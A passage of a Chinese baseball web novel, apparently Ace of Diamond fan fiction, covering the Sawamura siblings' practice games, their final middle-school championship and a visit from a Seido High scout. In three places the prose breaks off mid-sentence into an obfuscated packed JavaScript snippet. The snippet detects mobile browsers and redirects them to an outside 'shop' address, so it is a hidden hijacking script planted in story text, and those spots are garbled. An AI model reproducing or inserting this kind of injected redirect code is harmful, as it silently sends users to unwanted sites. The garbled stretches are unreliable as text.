回想起国小第一次参赛的经历,泽村绘理干脆地将东东京地区的学校排除预选名单内。 三个月后,差不多是在夏季甲子园预选赛前期,位于长野县乡下的赤城中学与县内的学校搭上线,预计开展为期一周左右的练习赛。 练习赛的安排是抽签形式,一天一般会有两到三场比赛,赤城中学被安排在了第一天。 似乎是为了照顾地方较远的学校,因此牵头举办联赛的学校将周边学校的比赛都安排在了最后。 关于参赛选手的安排,虽然泽村绘理以及泽村荣纯这对投捕组合的出色表现,吸引了许多人加入棒球部,但最终能派得上用场的人用一双手来数都嫌多,大部分成员的表现连「过得去」像这样的评价都没有,于是这一次的练习赛无论是进攻还是防守都只能继续以围绕泽村绘理与泽村荣纯这对投捕组合展开。 只要对手打不出去,剩下的事就可以交给守备去处理。 “守备啊……” 想起来过去的比赛情况,泽村绘理叹了口气,然后就在这时,在一旁站着的泽村荣纯不知为何突然用着仿佛在说「终于到这一天了吗?」似的语气说明天就是练习赛了。 泽村绘理:“……” ——为什么要用这种感觉会在漫画最后一页的角落里,背景还是夕阳下的河堤旁,远处的风景最好是能画到小河流上的桥一样的语气这么说话啊。 一长串的吐槽在泽村绘理的脑海里闪过,但现实却是顺着气氛说了漫画里的经典回复。 “是啊……” “就是明天了……” 话说出口之后,泽村绘理感觉方才那么说大概是受到气氛的渲染,毕竟这时候确实是夕阳下,脚下的路也是河堤旁。 实在是太应景了。 如果这是某部漫画,这时候在最后一格应该会有加黑加粗的分成两行写的预告下一话的文字,如果是TV番剧,预告大概会恶趣味地剪辑,吓唬追更的观众,让观众误以为主角出了什么问题。 “晚饭后,再练习一下指叉球吧。” “好!”泽村荣纯应了一声,然后想到了什么,又猛地看向泽村绘理,表情很明显地写满了期待,“那个绘理,指叉球之后,是不是可以……” “不行。”泽村绘理想都没想就表示了拒绝。 “欸——!” “再考虑考虑!拜托了!绘理大人!” “不要。” 面对泽村荣纯的请求,泽村绘理依然选择了拒绝。 5. 第 5 章 虽然从很早就开始接触棒球,但因为年龄太小,实际上正式开始棒球相关的训练是在国小一年级的后半程,在那之前几乎都是在做体能相关的训练以及玩九宫格的投球游戏。 正式训练开始后,泽村绘理只有在私下练习时才会允许泽村荣纯随意投球,正式比赛则是只允许投特别能跑的直球这一种而已。到了后期,随着习得的球种越来越多,一开始为了方便记忆而以序号排列球种,慢慢地转变为以球种划分,然后再区分小类来进行指定的投球训练。 时至今日,已经变成完全体,不需要再继续进行练习的球种是卡特球、变速球以及“直球”,只不过最后那一个球种,泽村绘理完全不认为能和直球扯得上半点关系。 毕竟—— 不会有谁的直球投出去会这么能跑。 至于晚饭后要练习的指叉球,其实并非单纯的指叉球练习,实际上练习的是不同球速下以及不同握球方式下投出的指叉球情况。 像这样的训练,泽村绘理倒是不担心会不会对自家哥哥泽村荣纯的投球姿势造成影响,从而使得手臂留下隐患。 似乎是拿到棒球那一刻起就在持续不断进行的体能训练为之后的练习打下了一个夯实基础,同步进行的九宫格投球游戏也在后面为投球的精确度带来一个良好的开端。 后知后觉发现自己都做了什么的泽村绘理感觉自己与泽村荣纯不愧是血脉相连的兄妹,在直觉系这一点上竟如此相似。 无意识做的事竟然在之后这么有用。 虽然还不至于做到指哪投哪,但是稳定的球种下可以在九宫格内随便投,担任主力完全是绰绰有余。 ——如果速度能跟得上来就好了。 想起来自家哥哥泽村荣纯试图提速投球就会让原本很稳定的球种变得像初学者那样,泽村绘理就忍不住在心里叹气。 时间很快来到晚饭过后,泽村绘理与泽村荣纯开始练习指叉球。 练习了有一会,一切如同预料的一样,常规的指叉球勉强能评价为能稳定使用,但是一旦加上握球方式、投球速度的变化这些变量后,原本有90%左右的概率就会变成只有30%左右,但是剔除投球速度这一变量,稳定率会大幅度上升,能达到70%,已经是足够使用的程度。 练习到这里,泽村绘理觉得差不多是时候结束练习,于是一边站起身,一边说道:“全力投球果然还是暂时禁止吧,明天的练习赛,我会增加给出指叉球暗号的次数……” 泽村荣纯听到泽村绘理这么说,完全能理解是因为什么,虽然有些不甘心,但也还是顺从地应了一声好。 回到房间后,泽村荣纯躺在床上,视线一错不错地盯着天花板,脑海里不断闪过的画面是晚饭后练习指叉球一次又一次失败的场景。 “可恶啊……” 对于全力投球被禁止的不甘心终于是在独自一人的时候爆发。 “绝对要再努力、更努力才行!” “绘理都这么努力了,而我却……真是太丢脸了。” 虽然清楚地知道自己的妹妹并不会因为自己一旦全力投球就会导致原本熟练掌握的球种变得到处乱飞、没办法使用的事感觉到不满,但是泽村荣纯还是希望这种事能尽可能的避免。 直到现在,泽村荣纯也还是记得刚出生那会连哭都不会哭,安静得像人偶似的妹妹是什么模样。 因为太过安静,家人在最初甚至怀疑过会不会是自闭症,好在之后的检查表示只是单纯的不爱理人而已,与自闭症没有关系,这才放下心来……才怪。 当时年仅两岁的泽村荣纯完全不理解大人能放下心的理由。 他想要和妹妹一起玩。 虽然不管什么样的妹妹都可以,但是果然还是有生气的妹妹会让人感觉到安心,于是不管发现什么有意思的东西,泽村荣纯都会第一时刻分享给泽村绘理,包括发现棒球很有意思。 坚持打棒球之后,泽村荣纯看到越来越多自己的妹妹泽村绘理越发富有生气的表现,欣喜之下,等回过神来已经习惯了想要满足自己的妹妹泽村绘理提出的任何一个关于棒球训练的点子。 点子每次化作现实,泽村绘理眼里的光彩真的是十分耀眼。 随着年龄增长,泽村荣纯清楚地意识到自己的妹妹泽村绘理各种意义上的非常强大,用游戏战力来表述的话,绝对是魔王级别的存在,然而像这样的存在却总是陪着自己胡闹。 于是,自然而然地产生了想要为自己的妹妹做点什么的想法。 泽村荣纯觉得这或许就是兄长的责任感。 第二天。 虽然比赛被安排在了下午,但是赤城中学棒球部一军选手仍然选择一早就出发,等来到目的地后,正好看到练习赛主办方之一的学校在做队内训练的画面。 与赤城中学一样来得早的还有两所学校,只不过这两所学校来得早的主要原因是第一场比赛是由它们组成。 由于距离比赛开始还有一段时间,一开始提早来也只是为了让其他人多多观察其他队伍的训练情况,于是泽村绘理趁比赛开始前参观了一下棒球部的环境,然后越看越觉得县内的学校就是县内的学校,与赤城中学完全没办法比较,训练场地的配置豪华得让人羡慕。 怪不得一天能保底完成两到三场练习赛。 时间一分一秒地过去,随着哨声响起,第一天的练习赛正式开始。 第一场比赛是由同属长野县县内公立学校的森下中学与仁山第一中学开启,泽村绘理对于这两所学校的情况很了解,于是关注点放在了打者身上,而不是投手。 泽村绘理想要借着这次的练习赛让泽村荣纯试试单纯依靠投球压制打者。 “那家伙的指叉球投得很好啊……” 忽然之间的,泽村绘理听到泽村荣纯的声音在一旁响起,转过头看过去是泽村荣纯表情认真地看着投手丘的画面,像是在思考什么似的。 “……” 泽村绘理沉默了一会,随后收回视线, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159456|196573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继续看向比赛。 “我觉得哥哥你投得比较好哦。” “……” 沉默的气氛萦绕在左右,泽村绘理的夸奖没有得到回应,泽村荣纯仍旧是表情认真的像是在思考什么似的盯着投手丘的方向。 泽村绘理:“……” 时间在不知不觉中过得飞快,森下中学vs仁山第一中学比赛宣告结束,被泽村荣纯称赞指叉球投得很好的投手所属学校仁山第一中学没能赢得胜利,在第九局下半场被森下中学狂揽数分,比赛分差骤然错开。 在这之后过了大半个小时,森下中学、比赛场地休整完毕,第二场比赛随之开始,比赛双方分别是森下中学、赤城中学。 与赤城中学不同的是,森下中学的选手没有混组的情况,看体型也比一般国中生要高大不少。 第一局上半场由赤城中学先攻,森下中学则是防守,作为进攻的主力,泽村绘理将自己安排在四棒打席,泽村荣纯则是被安排在后一位。 森下中学对于赤城中学的投捕组合早有耳闻,只不过平时的比赛里很是巧合的没有碰上过一次,于是这会看到ACE居然是强棒打席之一,大多表现出诧异的反应。 “居然把投手放在强打阵容里……” “话说回来,报道最近总是提到的泽村兄妹就是那对投捕组合吗?看上去好像也没什么特别的。” “我听认识的人说,那对投捕组合里的捕手很可怕还是很吓人来着,总之说是如果碰上了,就要尽快将人淘汰出局,尽可能避免在垒上。” “欸?为什么啊?” “嘛……不知道啊。” 另一边。 因为总是在泽村荣纯的投球训练里充当假想敌打者,所以前三棒打席面对所获资源远比赤城中学丰富许多的森下中学的投手时,并没有轻易地被送下场,等到泽村绘理走上击球区,此时场上的局面是二垒有人,两人出局。 看似很糟糕,但是对于泽村绘理来说这样的开局已经足够用了。 第一球平平无奇,诱导以及试探性居多,虽然也能打出去,但是大概率打不了太远,在两人出局的情况下这么做还是太危险了,因此泽村绘理没有选择出手。 此时,森下中学还需要两好球才能结束第一局上半场比赛。 第二球没有让泽村绘理等太久。 ‘这是……’ 棒球朝着击球区移动,然而泽村绘理却一动不动,球棒很稳当地握于手里。 “Ball——!” 直到听到裁判的喊声,泽村绘理这才有了动作。 ‘投得不怎么样啊,这个伸卡球。’ ‘真遗憾。’ ‘我没有那么容易被骗呢。’ 一好球、一坏球,对于双方来说都是安全区的局面,然而位于投手丘的投手却突然感觉到一阵寒意。 “为什么……” “你在笑啊。” 就好像早就知道那一球进不了好球带一样。 6. 第 6 章 一切如同一开始预想好的一样,在送二垒的人往前进一垒后,泽村绘理也走上一垒,此时仍然是两人出局,接下来就看五棒怎么做了。 至于另一种可能,泽村绘理想都没有想过,只要不是疯了,森下中学的人是不可能选择四坏送人上垒。 现在森下中学的战术绝对是在想着要怎么直接在本垒解决打者,拿下最后一个出局数。 “终于……终于到我上场了!放马过来吧!”站在击球区上的打者热情万分地如此大喝一声……其实并没有,原本以为会像往常那样出现这样的情况,然而实际上此时站在击球区的泽村荣纯表现得非常的安静。 泽村绘理:“……” 大概是不想第一局就让对手率先夺点,这一回森下中学的投捕很是谨慎。 每一球都是经过仔细斟酌才投出。 然而令人遗憾的是,经过仔细斟酌的投球最终在第三球被泽村荣纯打了出去,棒球最后以非常微妙的落点落在了无法在三垒的人返回本垒之前回传的地方。 “……” “……” 死一般的寂静仅有一瞬,紧随其后而来的是三垒跑垒员返回本垒后,裁判高喊着的—— “Safe——!” 第一局上半场比赛结束,攻守交换,森下中学的九名选手下场准备接下来的打席。 与此同时,在队友的帮助下穿戴捕手装备的泽村绘理正在和泽村荣纯商量接下来的配球计划,这时候泽村荣纯倒是表现得和往常没多大区别,只不过泽村绘理仍然是察觉到些许异样。 自己的哥哥泽村荣纯这时候好像心事重重,在顾虑什么。 意识到这一点,然而泽村绘理并没有主动提起,而是在做好准备之后,径直走向本垒。 视线落在森下中学的休息区。 数分钟后,第一局下半场比赛正式开始,泽村绘理注意到森下中学派出的一棒打者是队伍里特别能跑的人。 ‘指叉球、右下偏内角的方向。’ 泽村绘理向泽村荣纯提出了自己的要求,但或许是心里装着事,泽村荣纯没有留意到这一球的特殊之处。 “Strike——!” 这是第一场比赛里,仁山第一中学的投球第一记投球。 落点分毫不差。 然而包括投手本人在内,场上的选手只有捕手知道这件事。 ——真是笨蛋啊,所以我就说了你的投球要比那个人要好得多。 注意到泽村荣纯明明什么都没意识到,但是却做到投球的落点与上一场分毫不差后,泽村绘理在心里叹了口气。 ‘接下来还是指叉球,普通地投过来就好,这个人一定还在想着上一球,这时候不会轻易出手的。’ 对于泽村绘理的配球思路,泽村荣纯也同样如此认为。 下一秒。 指叉球应约而来,随后是打者大力挥棒却挥空的画面出现。 “Strike——!” 此时两好球,距离三振出局还差一球。 为了激励投手,这时候应该大喊一句「做得好!」才对,但是泽村绘理没有选择这么做,而是用力地将棒球回传至投手丘。 带着潜藏的想法。 ‘做得好啊。’ ‘……’ 下一秒。 位于投手丘之上的投手突然大喊一声,过于突然连裁判都被吓了一跳,再然后第三球也被投出。 仍然是指叉球,但却因为改变了握球的方式,再加上看不到出球瞬间的投球动作,这一次的指叉球与常规的区别很大。 森下中学的一棒原本以为会是直球,但是棒球临到眼前却发现棒球的轨迹诡异地变换了一下,等反应过来已经来不及了。 “Strike——!” “Batter out!!!” 本次练习赛的首次三振出局登场。 “做得好哦!”趁着森下中学的二棒还没有走上来,泽村绘理朝着投手丘大喊一声。 这一次泽村荣纯的反应和过去一模一样,「哇哈哈哈!」的大笑着,然后用戴着手套的那只手拍了拍胸前。 “放心交给我吧!” “在下绝对不会让他们往前进一步!” 在第二球就意识到配球与森下中学vs仁山第一中学的比赛中,仁山第一中学的投手使用的投球是一样的后,泽村荣纯立刻明白自家妹妹泽村绘理打算做什么。 ‘哼哼哼……绘理大人真是贴心!哥哥我啊此刻可是非常地感动啊!’ ‘这就是家人之间的羁绊吗!漫画一样的剧情!’ 完全恢复正常后,泽村荣纯一如往常地在神秘的投捕电台里骚扰捕手,泽村绘理同样与过去一样对投手的碎碎念选择了无视。 ‘接下来就普通的投就可以了,连着投指叉球,就算是笨蛋也会发现配球的特殊之处。’ ‘嗯嗯!绘理大人说得有道理……等等,就算是笨蛋这样的说法……绘理啊!不能说哥哥是笨蛋啊!’ 一边在投捕电台里碎碎念着不满,泽村荣纯将棒球投了出去。 由于看不见出球瞬间的投球姿势,于是这一次的投球被森下中学的二棒打者误以为又是指叉球,做好了准备以后,来的却是美味得让人怀疑是陷阱的…… “Strike——!” 直球。 球棒与棒球擦肩而过,森下中学的二棒遗憾地迎来擦棒被捕这种巧合。 “Two out!nice!小荣!” “荣纯!怎么今天一上来就状态这么好啊!要继续保持啊你这家伙!” “嗯嗯嗯!小荣做得好!” “……” 第一局下半场,开局仅用了四球就淘汰了两名打者,虽然最后一球是巧合,但结果才是最重要的,第一局下半场比赛即将结束。 另一边,森下中学休息区。 “运气真是好啊,竟然擦着球棒!” “虽然是这样,但是那个投手的投球也很奇怪,完全看不到出球瞬间,一开始还以为是直球……” “说起来,那个捕手和投手都姓泽村,该不会是兄妹、姐弟吧?” “……你才发现啊,是兄妹啦,说起来那个妹妹的名号我在县内都听说过,但是却是从老师那里听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159457|196573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到的,据说有个来自长野县乡下的人总是占据联考的第一名。” “……” “……” 诡异的沉默了一瞬后,其余人不约而同地表示不要说这种听着就让人胃痛的事。 “学习好,运动又好,这是什么现充配置!” “可恶啊!” 数分钟后,森下中学的三棒也被送下场,很是遗憾地仅一步之差被阻拦在一垒前,比起跑动的速度,还是来自本垒的回传更快。 比赛进入第二局,有着上一局的失败横在眼前,森下中学的守备很明显地收紧了许多。 很快的,第二局上半场比赛结束,森下中学守住失分,没有让比赛分差进一步扩大,攻守随之交换,比赛进入第二局下半场。 只不过—— 原本应该乘着上一局的气势,一鼓作气在下半场比赛里挽回失分,实际情况却是毫无收获地走向第三局,以捕手、投手为核心的守备策略,森下中学暂时没有找到应对方法。 第三局上半场,又到了赤城中学进攻阶段。 由于上一局森下中学将赤城中学的打席消耗完毕,于是一开局就要面对在第一局上半场比赛里表现极佳的四棒泽村绘理。 在泽村绘理准备期间,赤城中学休息区三三两两地说着话。 “现在垒上没人,以绘理的习惯应该会放弃一棒轰出去,改为上垒吧?然后接下来就交给小荣什么的。” “应该是吧。” “该说不愧是兄妹吗?每次只要绘理在垒上,小荣的打击就会特别地顺畅……不对,精准?反正总是能打出去,然后让绘理回到本垒。” 与此同时,在等候区等着上场的泽村荣纯盯着本垒与投手丘,这些年受到泽村绘理的影响,多少也学会了一点观察技巧。 ——气氛看上去很紧张啊,不过如果是绘理就没问题。 ——这个投手好像比较偏好伸卡球,不知道待会会不会继续……啊,打出去了。 在心里想着接下来该怎么做的泽村荣纯的视线顺着棒球的动向一起往外野的方向走,最后停留在二垒的方向,触垒成功的泽村绘理正拍了拍手上站着的泥土。 “这家伙怎么做到的?!” “竟然那样扭曲着摸到了垒板!身体真的没问题吗?!” “啊等等,这该不会就是那些人说的只要赤城的捕手在垒上,那就要想尽办法将人淘汰出局的理由吧?” “这样的触垒方式谁拦得住啊……” 就在这时,球棒击中棒球发出“bang!”的一声,所有的讨论戛然而止,目光全都追随着场上跑动的两道身影。 “Safe!” “Safe!” 前后响起的两声判定落地,场上陷入了一段时间的诡异的安静当中,随后森下中学爆发一阵阵激烈的讨论。 “这才一垒而已啊!为什么要扑垒啊可恶!” “你这家伙不是投手吗?!投手要不要这么拼啊!” “喂!没有在夸你啊!在那里「哇哈哈!」的笑什么啊可恶!赤城的捕手不要在那里装看不见,你的投手刚刚扑垒了啊!” 7. 第 7 章 相比起第三局又丢失一分且无人出局,森下中学此时更在乎的是赤城中学的投手竟然扑垒。 扑的还是一垒。 那是什么很有必要这么做的地方吗?你到底还知不知道你是投手啊! 几乎所有人都这么想了,同时也是这么吐槽,连带着那个明显在装看不到的捕手也一并吐槽。 在那之后,或许是连续丢失两分带来压力,森下中学无意识地加快比赛节奏。 泽村绘理与泽村荣纯都注意到了这种情况,于是默默地调整了守备思路,严防死守盗垒的情况发生。 时间一分一秒地过去了,比赛来到第六局下半场,虽然以泽村绘理、泽村荣纯为核心的防守没有出现问题,但是边缘的守备却出了岔子,森下中学趁此机会,一举拿下两分,泽村绘理只来得及阻拦最后一名跑垒员返回本垒。 此时比分6:2,赤城中学领先4分,距离比赛结束还有3局。 维持了六局之久的零封局面因守备的错误而痛失两分,在下场准备第七局的时候,守备的几人向泽村绘理以及泽村荣纯道歉。 “绘理,非常抱歉……虽然现在说这些没什么用,但是就是真的非常抱歉!” “绘理、小荣,对不起啊。” 泽村绘理对于零封结束比赛并没有什么特殊的执念,于是在守备的几人道歉之后,很轻易地选择了谅解,只是在最后还说了一句「如果觉得愧疚,不如在待会的比赛里拿回那几分吧。」像这样的话。 至于泽村荣纯则是完全不觉得这两分的失点有什么问题,「哇哈哈哈!」的大笑着安慰守备。 “Don''t mind、Don''t mind!接下来我也会努力把那两分拿回来的!” “……” “那就不必了吧小荣,你再那样扑垒,就算是朋友的我们看着也觉得看不过去了啊!” “你可是投手啊!你这家伙!” 面对投手的安慰,守备的几人没有感动,在沉默了几秒后,气氛热烈地吐槽起投手前几局不顾身体在那里扑垒的事。 有几次甚至扑垒是得到out的结果。 “绘理你也一起来说一下啊!你不是捕手吗?管管你家的投手啊绘理!” 完全没想过还有自己的事的泽村绘理:“……” 下一秒。 泽村绘理移开了视线,一副装不熟的表情。 “喂!不要装看不见啊绘理!” “演技太差了!” “好歹装一下……啊,这下是干脆地走开了。” 很快的,与前几局森下中学吐槽的内容一样的吐槽出现在赤城中学休息区,并且全都在吐槽捕手不要装作看不见,快管管投手之类的事。 数十分钟后,比赛结束,赤城中学vs森下中学的比赛以赤城中学领先7分作为结局。比赛的最后,森下中学虽然很是努力,但最终还是没有突破自第六局结束后就变得异常严密的防守。 赛后在收拾物品的时候,森下中学的教练走到赤城中学的休息区。 说了半天话,大致总结为想要招揽泽村荣纯,保证了一堆空头支票,诸如高中后绝对进入一军,一军后绝对是正选,但是这些条件都被泽村荣纯拒绝了。 被拒绝后,虽然有些遗憾,但是森下中学的教练没有继续纠缠,只留下一个联络方式,说再考虑考虑就走了。 在那之后在回程的路上,泽村荣纯一直板着脸,十分不高兴的样子。 泽村绘理注意到了,于是问了一句,然后就像是按下电动玩偶的开关一样,原本安安静静在生闷气的泽村荣纯突然就叭叭地吐槽起来。 “什么啊!那家伙!居然只邀请我!完全没有在看绘理你啊!真是没眼光!” “一直说什么投手投手的!明明我旁边不是还站着捕手吗!像那样没眼光的家伙推荐的学校才不会去啊,与其去那里,还不如去那家伙的学校!” “可恶可恶可恶啊啊啊啊……!” 吐槽到最后,已经变成无意义的超大声版的碎碎念,念着的还都是重复的字词。 泽村绘理倒是没想到自家哥哥泽村荣纯生闷气的理由是这个,原本以为关注的是其他的事情,比如那个教练完全没觉得他能成为ACE。 发出邀请的全过程竟然都是以成为中继投手、救援投手这样的位置在说话。 “没关系的,反正像那样的学校,恐怕连区预选赛也出不了线。” “这不是连国中的比赛都没能碰上一次面吗?像这样的队伍,上了高中又能有什么作为。” 回想起这三年来的比赛情况,泽村绘理对于森下中学的实力并不看好。 身为长野县县内公立的学校,占据的资源远比身处长野县乡下的赤城中学要多得多,在这样的情况下,争夺桂冠常客的赤城中学却从未有过在决赛里见到森下中学的情况,可想而知实力如何。 一旁的泽村荣纯听泽村绘理这么说,沉默了一会后,点了点头。 “不过,如果今后有机会碰到,绝对要让他们后悔看轻绘理!” 泽村绘理:“……” 沉默了一会,泽村绘理默默地转移了话题,这时候还是不要提醒自家哥哥泽村荣纯,两人上了高中之后就不能在正式的比赛里一起上场的事。 毕竟,高野是没有混组参赛。 三个月后,夏季甲子园比赛前夕,泽村绘理收到成宫鸣的LINE,LINE的内容是在说所属的学校稻城实业高中拿到进入正赛的门票,然后又是一如往常那般开始发邀请函,希望泽村绘理能加入稻城实业高中,邀请到最后甚至都开始耍赖了。 [成宫鸣]:差不多也该同意了吧! [泽村绘理]:差不多也该放弃了吧,前辈真的很执着啊。 [成宫鸣]:因为没办法放任才能被浪费啊,感觉那是一种犯罪,死立执的程度。以你的才能,成为助教根本不成问题,国友教练绝对会同意的。 [成宫鸣]:……升学前的见习要不要过来看看?(PS:绘理发过来的视频被教练看到了,虽然敷衍过去了,但好像没被相信,教练……真的看好绘理。) [成宫鸣]:「我们」绝对不会让你失望的,看看甲子园的冠军是怎么样一个地方。 面对再一次的邀请,泽村绘理的选择仍然是拒绝。 或许是被拒绝得多了,成宫鸣也没过多的纠缠,如往常一样耍赖式的说了一句让人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159458|196573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下一次一定要答应的话就将对话结束。 泽村绘理感觉成宫鸣坚持了这么多年还在坚持邀请,这么执着与其说是真的想要,不如说是变成习惯了才对。 ——得开始考虑找哪一所学校了。 泽村绘理在心里想着。 另一边,泽村荣纯又接到高中的参观邀请,这一次是来自关东赛区的学校,由于没打算去,于是也没留意听电话那头的人说了什么,等挂断电话后,脑子里只剩下「学校名字里好像有个马」的印象。 “关东的,名字里有个马?”泽村爷爷念叨着好半天,然后一拍手,“完全没听说过高野有这么一所学校啊!是骗人的吧!” “要不问一下绘理吧……” “嗯,说得也对,但是绘理好像想去东京的学校来着?不过话又说回来,最近绘理总是在弄电脑啊,那些五颜六色的线完全看不懂啊。” 泽村荣纯在这时候也接了一句表示自己也看不懂,然后说可能是在学习,因为上面有很多数字和字母什么的。 由于泽村荣纯总是和泽村绘理在一块,于是在泽村荣纯这么说了之后,泽村一家谁都没有怀疑,话题说着说着就跑向泽村绘理将来会考上哪一所大学上。 一周后。 作为赤城中学的选手的最后一场比赛开始了。 或许是意识到即将分别,棒球社全员非常认真在做训练以及刻意地没有去提起比赛结束后就是最后的分别时间的事。 虽然赤城中学最终没有迎来废校的结局,但没有高中部这一点也会让大部分人往县内又或者是县外的高中跑,如果目标是更高一点的学府,要去往的地方甚至会更远。 也就是说—— 这真的是最后的相处时刻了,于是带着想要留下即便是数年、数十年之后回想起来也不会后悔的心情,所有人都咬着牙,默默地努力着。 回过神来后,真正意义上的最后一场比赛到来。 决赛第九局下半场,两人出局、一三垒有人、比分分差五分。 “放轻松啊小荣!让他打出去也没关系!我们会处理好的!” “放轻松、放轻松……” “小荣你要不要深呼吸一口气再投球,或者像之前那样演讲什么的?” 包括场上的选手在内,所有人的视线都集中在投手丘上。 这是决定比赛结束的最关键的一球。 ‘就拿你最擅长的那一球吧。’ 都走到这一步了,结局就算天地倒转也不可能改变,泽村绘理决定将配球的决定权交给投手。 然而面对捕手的好意,投手选择了在神秘的投捕电台里骚扰捕手,一直碎碎念个不停地说着「那我可要投直球了!直球一决胜负!」这样的话,然后成功把捕手惹火。 ‘赶紧投球啊!’ ‘——!是!谨遵绘理大人的命令!在下这就用直球解决他们!’ 下一秒。 决定比赛结束的最关键的一球到来,再然后到来的是棒球落进捕手手套发出的沉重的一响,在短暂地沉默过后,来自场上、观众席的呐喊声如雷鸣般炸响开来。 赤城中学棒球社最后一场比赛以5:0结束,夺得决赛冠军。 8. 第 8 章 赤城中学棒球社最后一场比赛以5:0结束,夺得决赛冠军,随后在场上的队友冲上投手丘庆祝的那一刻,迟来的投手丘上的演讲开始了。 “……努力到现在,在这最后的时刻想要再一次和一直支持我到现在的伙伴说——!啊!为什么打我啊!” “痛!痛!痛啊!” 然而演讲才起了个头就被冲上来的队友强行捂着嘴拦下接下来的话,然后将演讲改成了投手丘上殴打投手。 “小荣!虽然很感动,但是现在才演讲是不是太迟了啊!” “你到底是什么时候准备的这些,国文课有这么努力就好了……” “还有你啊绘理!不要在那里装作看不见,你也一起……啊,居然逃跑了,你这家伙,马上就要整队敬礼了啊!快点回来绘理!” “……” 原本应该是带着感动与泪水的青春回忆,几年后、十几年后回想起来都会觉得画面美好又绚丽才对,然而最后呈现出来的却是搞笑节目。 围观全过程的数家媒体记者在沉默了一会后,不约而同地决定如实的、详尽的记录投手丘上的那一幕。 身为大人啊,就是要为孩子们留下关于青春的回忆。 记者们是这么想的。 数天后,泽村绘理从佐野老师那里得知比赛结束后,有一位自称是青道高中的人想要联络自己的消息,只不过因为当时正好是休假,所以消息直到今天才被传达。 “姑且是约好下午给予回复,不过如果泽村不愿意,我这边代为拒绝也是可以的。” 泽村绘理对于青道高中这个名字有所耳闻,是西东京赛区的学校,成宫鸣最初想要招揽却失败的捕手正好是这所学校的选手。 想起来这件事后,泽村绘理表示自己同意联络的事,随后不久就被告知对方打算明天就上门拜访。 泽村绘理:“……” ——倒也不必这么着急吧? 泽村绘理在心里想着。 回到家后,泽村绘理将第二天有人上门拜访的事说了出来,一家人随即聊了起来,聊着聊着就聊起前不久也有一位来自关东地区的名字里有个马的学校发来联络申请的事。 “什么马啊,完全没听说过,绝对是像「是我是我」那样的诈骗吧!”泽村爷爷「哇哈哈!」的大笑着说。 泽村绘理听到这句话,总觉得好像有哪里不太对劲,然后在沉默了一会后,突然反应过来那句「名字里有个马的学校」指的是什么。 “应该是群马县的白龙高中吧。” 泽村绘理说着说着,转头看了眼一旁坐着的泽村荣纯。 “这不是连名字从一开始就错了嘛……” 作为最初的传播源头,泽村荣纯完全没有自己记错名字的尴尬,「哇哈哈!」的一边笑着一边说:“是这样吗?哈哈,那应该是记错了吧!” “不过话又说回来,那家伙上门来拜访是打算做什么?” 由于指名是联络泽村绘理,于是泽村荣纯完全没想过上门拜访这件事也会与自己有关,这会一直置身事外地讨论这件事。 “和前几天结束的比赛有关,但是……总觉得原因不止是这个。”泽村绘理从佐野老师那里得到的消息只有对方的目的是邀请自己参观学校,更具体的事,对方则是打算正式拜访时详谈。 另一边。 泽村荣纯一听自家妹妹说理由与不久前结束的比赛有关,接下来的话完全没仔细听,整个人沉浸在「我家妹妹真厉害!」的世界里。 “喔喔喔喔!如果是因为这个那就不奇怪了!” “因为绘理就是这么厉害!” 泽村绘理:“……” “我想说的不只有这个啊,而且比赛也不是只有我一个人在。”原本想要这么说,但是看在自家哥哥泽村荣纯完全沉浸在自己的世界里,泽村绘理默默将想说的话咽了回去。 ——算了。 ——反正明天就会过来拜访了。 泽村绘理在心里叹了口气,然后不再理会这件事。 第二天。 由于有人上门拜访,于是在结束了一天的学业后,泽村绘理与泽村荣纯没有留在棒球部训练,而是直接骑车回家。 离家还有一段距离的时候,泽村绘理与泽村荣纯发现门口停着一辆车,看款式不像长野县这个乡下常见的车型,大城市的气息扑面而来。 想到这一点,两人随即对视一眼。 “这么快就过来了?!这家伙是有多执着啊……”泽村荣纯忍不住咋舌。 泽村绘理则是越来越肯定心中的猜想。 来人是高岛礼,身着一身黑色西服,戴着眼镜,整个人看上去非常知性干练。 泽村绘理从一进入房间就留意到高岛礼的目光一直在自己与自家哥哥泽村荣纯之间来回转,目光里带着浓浓的别有用心的感觉。 在自我介绍之后,高岛礼很快将来意说明。 “前不久结束的那一场比赛,我看完了全部过程。泽村绘理,你作为捕手的表现真是精彩,精彩到在比赛还没有结束的时候,我就已经决定好绝对要邀请你就读青道高中。” “你的才能如果止步于高中实在是太可惜了,如果是青道,我相信绝对可以提供一个继续棒球运动的平台。” 泽村绘理:“……” 来意、条件都说得清清楚楚,话术了得,适时且恰当地进行夸奖,换作是同龄人,这时候大部分应该会有一种自己被肯定了的愉悦感,然而泽村绘理却无法对此心生愉悦。 高岛礼的目的性太明显了。 